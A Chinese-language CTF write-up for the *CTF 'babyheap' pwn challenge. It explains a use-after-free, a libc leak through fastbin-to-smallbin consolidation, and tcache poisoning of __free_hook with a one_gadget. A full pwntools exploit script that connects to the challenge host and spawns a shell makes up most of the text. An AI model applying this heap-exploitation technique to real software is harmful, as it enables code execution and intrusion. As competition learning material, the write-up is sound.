*CTF pwn write up
第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的。此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来。
babyheap
程序有add、delete、show、edit功能。
在add函数只能创建0x10-0x60大小的chunk。
delete函数存在uaf漏洞。
show函数平平无奇。
edit函数只能往chunk+8的位置进行写,就是在free之后不能直接利用uaf漏洞改写fd指针。
还有一个函数是leavename函数,此函数创建了一个0x400大小的chunk,里面存name。
知识点:当存在fastbins时,申请一个比较大的chunk,会将fastbins合并放到smallbins看看大小够不够分配,如果够的话就会用这个chunk,如果不够的话,再从top chunk里面切割。这里smallbins会存放libc的一些地址,加上uaf可以leak libc。
思路:先把0x60的tcache填满,在搞一个fastbins,这个时候调用leavename函数,让fastbins进入smallbins,此时leak libc基地址,这个smallbins也是0x60大小,之后申请比较小的chunk,会对smallbins进行切割,这个时候,利用uaf就可以写这些比较小的chunk的fd指针,将fd改成free_hook-0x8,把chunk申请过去,修改free_hook为onegadgets,执行delete就能拿到shell了。
exp:
1 from pwn import * 2 3 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"}) 4 #p = process('./pwn') 5 p = remote('52.152.231.198',8081) 6 elf = ELF('./pwn') 7 libc = ELF('./libc.so') 8 context(os='linux',arch='amd64',log_level='debug') 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(index,size): 14 p.sendlineafter('>> \n','1') 15 p.sendlineafter('index\n',str(index)) 16 p.sendlineafter('size\n',str(size)) 17 def delete(index): 18 p.sendlineafter('>> \n','2') 19 p.sendlineafter('index\n',str(index)) 20 def edit(index,content): 21 p.sendlineafter('>> \n','3') 22 p.sendlineafter('index\n',str(index)) 23 p.sendafter('content\n',content) 24 def show(index): 25 p.sendlineafter('>> \n','4') 26 p.sendlineafter('index\n',str(index)) 27 def leavename(name): 28 p.sendlineafter('>> \n','5') 29 p.sendafter('name:\n',name) 30 def showname(): 31 p.sendlineafter('>> \n','6') 32 33 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 34 og = [0x4f3d5,0x4f432,0x10a41c] 35 36 add(0,0x50) 37 add(1,0x50) 38 add(2,0x50) 39 add(3,0x50) 40 add(4,0x50) 41 add(5,0x50) 42 add(6,0x50) 43 add(7,0x50) 44 add(8,0x10) 45 delete(0) 46 delete(1) 47 delete(2) 48 delete(3) 49 delete(4) 50 delete(5) 51 delete(6) 52 delete(7) 53 54 leavename('bhxdn') 55 show(7) 56 libc_base = u64(p.recv(6).ljust(8,'\x00'))-176-0x10-libc.symbols['__malloc_hook'] 57 print 'libc_base-->'+hex(libc_base) 58 shell = libc_base+og[1] 59 free_hook = libc_base+libc.symbols['__free_hook'] 60 61 add(6,0x50) 62 add(5,0x50) 63 add(4,0x50) 64 add(3,0x50) 65 add(2,0x50) 66 add(1,0x50) 67 add(0,0x50) 68 69 add(9,0x10) 70 add(10,0x10) 71 delete(9) 72 delete(10) 73 edit(7,'aaaaaaaa'+p64(0)+p64(0x21)+p64(free_hook-0x8)) 74 print 'libc_base-->'+hex(libc_base) 75 print 'free_hook-->'+hex(free_hook) 76 add(9,0x10) 77 add(10,0x10) 78 edit(10,p64(shell)) 79 delete(0) 80 p.interactive()